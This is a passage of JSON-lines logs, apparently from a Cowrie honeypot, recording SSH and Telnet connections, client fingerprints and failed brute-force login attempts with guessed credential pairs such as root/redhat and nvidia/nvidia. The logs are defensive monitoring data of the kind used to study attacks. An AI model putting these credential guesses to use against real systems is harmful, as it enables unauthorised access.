16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:39.996685Z","src_ip":"62.133.63.178","session":"a41e9e1ccd84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:40.357516Z","src_ip":"62.133.63.178","session":"a41e9e1ccd84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:41.477202Z","src_ip":"62.133.63.178","session":"a41e9e1ccd84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e7477683a5","protocol":"ssh","message":"New connection: 83.168.110.85:53746 (10.17.0.5:22) [session: d3e7477683a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:42.666633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:42.672867Z","src_ip":"83.168.110.85","session":"d3e7477683a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:42.795621Z","src_ip":"83.168.110.85","session":"d3e7477683a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:43.160012Z","src_ip":"83.168.110.85","session":"d3e7477683a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:44.481235Z","src_ip":"83.168.110.85","session":"d3e7477683a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d174d21add","protocol":"ssh","message":"New connection: 83.168.110.85:55788 (10.17.0.5:22) [session: c6d174d21add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:49.451588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:49.456362Z","src_ip":"83.168.110.85","session":"c6d174d21add","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:49.577311Z","src_ip":"83.168.110.85","session":"c6d174d21add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:49.942697Z","src_ip":"83.168.110.85","session":"c6d174d21add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"288fe395cd8e","protocol":"ssh","message":"New connection: 43.153.50.142:45010 (10.17.0.5:22) [session: 288fe395cd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:50.165276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:50.170803Z","src_ip":"43.153.50.142","session":"288fe395cd8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:50.239428Z","src_ip":"43.153.50.142","session":"288fe395cd8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sangoma","password":"Itsemoemo2026@Washere2026","message":"login attempt [sangoma/Itsemoemo2026@Washere2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:50.543967Z","src_ip":"43.153.50.142","session":"288fe395cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:51.068816Z","src_ip":"83.168.110.85","session":"c6d174d21add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:51.615555Z","src_ip":"43.153.50.142","session":"288fe395cd8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.33593511581421,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:53.045774Z","src_ip":"152.42.224.71","session":"00ff8d4c543c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e80bc30d4f6","protocol":"ssh","message":"New connection: 83.168.110.85:42186 (10.17.0.5:22) [session: 9e80bc30d4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.274673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.279271Z","src_ip":"83.168.110.85","session":"9e80bc30d4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":45274,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c49bc0e2709","protocol":"ssh","message":"New connection: 39.117.79.36:45274 (10.17.0.5:22) [session: 0c49bc0e2709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.358705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.363633Z","src_ip":"39.117.79.36","session":"0c49bc0e2709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.563767Z","src_ip":"39.117.79.36","session":"0c49bc0e2709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:56.570751Z","src_ip":"83.168.110.85","session":"9e80bc30d4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:57.032839Z","src_ip":"83.168.110.85","session":"9e80bc30d4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2026","message":"login attempt [dspace/dspace@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:57.390540Z","src_ip":"39.117.79.36","session":"0c49bc0e2709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:58.156542Z","src_ip":"83.168.110.85","session":"9e80bc30d4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:58.594389Z","src_ip":"39.117.79.36","session":"0c49bc0e2709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42198,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b613ee7c4df","protocol":"ssh","message":"New connection: 83.168.110.85:42198 (10.17.0.5:22) [session: 1b613ee7c4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:03.664497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:03.669607Z","src_ip":"83.168.110.85","session":"1b613ee7c4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:03.794890Z","src_ip":"83.168.110.85","session":"1b613ee7c4df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:04.161790Z","src_ip":"83.168.110.85","session":"1b613ee7c4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:05.572881Z","src_ip":"83.168.110.85","session":"1b613ee7c4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59252,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e1adc7a49bb","protocol":"ssh","message":"New connection: 83.168.110.85:59252 (10.17.0.5:22) [session: 8e1adc7a49bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:10.791707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:10.797087Z","src_ip":"83.168.110.85","session":"8e1adc7a49bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:10.919101Z","src_ip":"83.168.110.85","session":"8e1adc7a49bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:11.290571Z","src_ip":"83.168.110.85","session":"8e1adc7a49bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56320,"dst_ip":"10.17.0.5","dst_port":23,"session":"280cc7328362","protocol":"telnet","message":"New connection: 152.42.224.71:56320 (10.17.0.5:23) [session: 280cc7328362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:11.715203Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:12.416388Z","src_ip":"83.168.110.85","session":"8e1adc7a49bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56334,"dst_ip":"10.17.0.5","dst_port":23,"session":"f773269d15dc","protocol":"telnet","message":"New connection: 152.42.224.71:56334 (10.17.0.5:23) [session: f773269d15dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:13.433138Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0be7223af746","protocol":"ssh","message":"New connection: 83.168.110.85:52382 (10.17.0.5:22) [session: 0be7223af746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:17.731825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:17.741492Z","src_ip":"83.168.110.85","session":"0be7223af746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:17.863513Z","src_ip":"83.168.110.85","session":"0be7223af746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:18.394141Z","src_ip":"83.168.110.85","session":"0be7223af746","protocol":"ssh"}
